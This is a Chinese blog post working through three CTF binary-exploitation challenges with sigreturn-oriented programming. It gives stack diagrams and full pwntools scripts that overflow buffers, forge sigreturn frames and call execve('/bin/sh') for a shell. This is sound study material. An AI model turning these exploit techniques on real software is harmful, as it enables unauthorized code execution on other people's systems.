SROP例題


  具體攻擊原理可以參考安全客這篇文章:入口

  剛學了一點,也是懵懵懂懂的,拿幾道題來練練手。

ciscn_2019_es_7

  64位程序,只開啟了NX保護。

  相當於執行了read(0,buf,0x400),write(1,buf,0x30),在執行read的時候可以進行溢出。題目中還有一個函數叫做gadgets,里面提供了一些gadgaets供我們使用。

  15是調用sigreturn,59是調用execve。調用execve需要讓幾個寄存器滿足條件,rdi=="/bin/sh",rsi==NULL,rdx==NULL,這里就需要我們手動輸入"/bin/sh"字符串,並且要知道字符串的地址,所以就需要leak一個棧地址。

  step1:通過read,payload = '/bin/sh\x00'*2+p64(0x04004f1),將payload打過去,此時會leak一個棧地址。動調一下,算一下我們輸入的'/bin/sh'和leak的棧地址的距離。

  這里我只輸入了一個binsh,下面的箭頭是我們leak的stack地址,上面是binsh的地址。相差0x118,所以將leak的stack地址減去0x118,里面存的就是binsh字符串了。

  step2:可以看到第一步的時候,返回地址我們設置成了0x04004f1

  目的是可以繼續寫入,少了push等操作,這樣對棧不會有影響。此時又是一個輸入,這個時候就用到srop了。

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_execve
3 sigframe.rdi = stack
4 sigframe.rsi = 0x0
5 sigframe.rdx = 0x0
6 sigframe.rip = syscall_ret
7 payload = 'a'*0x10+p64(mov_rax_15)+p64(syscall_ret)+str(sigframe)

  'a'*0x10是用來充棧的,這0x10個a其實是寫入0x8,0x0的位置了。此時的堆棧圖:

  mov rax 15 ret就是返回地址,先給rax賦值為15,然后syscall調用sigreturn來進行攻擊。將rdi指向binsh字符串,rsi==NULL,rdx==NULL,最后需要將rip指向syscall_ret,就成功調用了。

  這里其實是可以構造srop鏈的,多次調用sigreturn,只需要將rsp==棧地址,在棧上繼續布置srop,就可以達到重復調用。而此題就不需要了,已經可以拿到shell了。

  exp:

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 elf = ELF('./pwn')
 5 context(os='linux',arch='amd64',log_level='debug')
 6 
 7 syscall_ret = 0x0400501
 8 mov_rax_15 = 0x04004DA
 9 fun = 0x04004f1
10 
11 p.send('/bin/sh\x00'*2+p64(0x04004f1))
12 p.recv(0x20)
13 stack = u64(p.recv(8))-0x118
14 print 'stack-->'+hex(stack)
15 
16 sigframe = SigreturnFrame()
17 sigframe.rax = constants.SYS_execve
18 sigframe.rdi = stack
19 sigframe.rsi = 0x0
20 sigframe.rdx = 0x0
21 sigframe.rip = syscall_ret
22 payload = 'a'*0x10+p64(mov_rax_15)+p64(syscall_ret)+str(sigframe)
23 
24 p.send(payload)
25 p.recv()
26 p.interactive()

  值得注意的是,在第五行需要設置了環境是64位,不然sigframe = SigreturnFrame()會報錯。

360chunqiu2017_smallest

  64位程序,只開啟了NX保護,程序相當簡單。

  還是通過系統調用,執行了read(0,buf,0x400),這里有一個小知識,就是程序在調用call之后的返回值一般是保存在rax中的,所以我們可以通過執行read之后的讀入的字符長度,來控制rax的值,實現任意函數的系統調用。

  step1:先將payload = p64(start)*3打過去,此時的棧分布:

  step2:接下來,payload = '\xB3',read一個字節,就會修改-0x08處的值,修改成0x004000B3。程序會返回到0x004000B3開始執行。

  這樣就跳過了xor rax rax,並且此時的rax==1,這樣執行syscall,其實是在執行write(1,buf,0x400),目的還是為了leak一個stack地址,方面進行寫入binsh字符串。

  step3:接下來又回到了start,也就是-0x10處的0x004000B0。

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_read
3 sigframe.rdi = 0
4 sigframe.rsi = stack
5 sigframe.rdx = 0x400
6 sigframe.rsp = stack
7 sigframe.rip = syscall_ret
8 payload = p64(start_addr)+'a'*0x8+str(sigframe)

  看一下此時的堆棧圖:

  這里的aaaaaaaa其實是在給下一次跳轉留跳板的位置,還有一個原因是,我們要修改rax的值為15,調用sigreturn函數。

  step4:payload = p64(syscall_ret)+'b'*7,這個時候的堆棧圖:

  這里會執行syscall_ret,對應上面的sigframe,會執行read(0,stack,0x400),並且返回地址會跳到stack。我感覺我堆棧圖畫的其實是不夠嚴謹的,sigframe其實並不只占0x8,相反,會占很大一塊區域,這里讀入的時候,其實會有一部分覆蓋掉其中的內容,只要覆蓋不到關鍵的寄存器就行。

  step5:payload = p64(start_addr)+'b'*8+str(sigframe)

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_execve
3 sigframe.rdi = stack+0x300
4 sigframe.rsi = 0x0
5 sigframe.rdx = 0x0
6 sigframe.rip = syscall_ret
7 payload = p64(start_addr)+'b'*8+str(sigframe)
8 payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'

  此時的堆棧圖:

  step6:有一個start,payload = p64(syscall_ret)+'b'*7,讀入數據。我感覺我堆棧圖畫的其實是不夠嚴謹的,sigframe其實並不只占0x8,相反,會占很大一塊區域,這里讀入的時候,其實會有一部分覆蓋掉其中的內容,只要覆蓋不到關鍵的寄存器就行。

  第六步就是把bbbbbbbb覆蓋成syscall_ret,因為讀入了15個字符,rax是15,會調用sigreturn,rip又指向syscall_ret,就能夠拿到shell了。

exp:

 1 from pwn import *
 2 
 3 p = process('./smallest')
 4 elf = ELF('./smallest')
 5 context(os='linux',arch='amd64',log_level='debug')
 6 
 7 syscall_ret = 0x004000BE
 8 start_addr = 0x004000B0
 9 
10 payload = p64(start_addr)*3
11 p.send(payload)
12 
13 p.send('\xb3')
14 stack = u64(p.recv()[8:16])
15 #print 'stack-->'+hex(stack)
16 
17 sigframe = SigreturnFrame()
18 sigframe.rax = constants.SYS_read
19 sigframe.rdi = 0
20 sigframe.rsi = stack
21 sigframe.rdx = 0x400
22 sigframe.rsp = stack
23 sigframe.rip = syscall_ret
24 payload = p64(start_addr)+'a'*0x8+str(sigframe)
25 p.send(payload)
26 
27 sigreturn = p64(syscall_ret)+'b'*7
28 p.send(sigreturn)
29 
30 sigframe = SigreturnFrame()
31 sigframe.rax = constants.SYS_execve
32 sigframe.rdi = stack+0x300
33 sigframe.rsi = 0x0
34 sigframe.rdx = 0x0
35 sigframe.rip = syscall_ret
36 payload = p64(start_addr)+'b'*8+str(sigframe)
37 payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'
38 p.send(payload)
39 p.send(sigreturn)
40 p.interactive()

  本地可以打,buu遠程打不通,不知道為啥。

rootersctf_2019_srop

  再來一道,64位程序,還是只開啟了NX保護。

  程序先write輸出了一句話,然后是一個read(0,buf,0x400),可以進行溢出。

  在0x00401032處有pop rax,然后就會執行syscall,我們可以控制這里,讓rax==15,執行sigreturn,進行srop攻擊。

  step1:將棧遷移到data段

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_read
3 sigframe.rdi = 0
4 sigframe.rsi = buf
5 sigframe.rdx = 0x400
6 sigframe.rbp = buf
7 sigframe.rip = syscall
8 payload = 'a'*0x80+'bbbbbbbb'+p64(0x00401032)+p64(15)+str(sigframe)

  返回地址覆蓋成pop rax,然后執行syscall,leave ret。

  可以看到上面的sigframe我把rbp設置到了buf

  執行leave的時候就相當於執行mov rsp,rbp ,pop rbp。

  step2:往buf進行寫入

1 sigframe = SigreturnFrame()
2 sigframe.rax = constants.SYS_execve
3 sigframe.rdi = buf+0x300
4 sigframe.rsi = 0
5 sigframe.rdx = 0
6 sigframe.rip = syscall
7 payload = 'aaaaaaaa'+p64(fun)+p64(15)+str(sigframe)
8 payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'

  這里往buf進行寫入,其實就是簡單的srop了。將各個寄存器的值設置好,同時寫入binsh字符串執行就可以了。貼一下全部的exp:

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
context(os='linux',arch='amd64',log_level='debug')

vuln = 0x00401000
fun = 0x00401032
buf = 0x0402000
syscall = 0x0401033

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf
sigframe.rdx = 0x400
sigframe.rbp = buf
sigframe.rip = syscall
payload = 'a'*0x80+'bbbbbbbb'+p64(fun)+p64(15)+str(sigframe)
p.sendafter('CTF?\n',payload)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf+0x300
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
payload = 'aaaaaaaa'+p64(fun)+p64(15)+str(sigframe)
payload = payload+(0x300-len(payload))*'\x00'+'/bin/sh\x00'
p.send(payload)
p.interactive()

  三道題做下來,目前對srop就有了一個整體的認識了,不得不說,看師傅們的exp是構造的真的很巧妙,有時候會讓人大呼,竟然還可以這樣!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM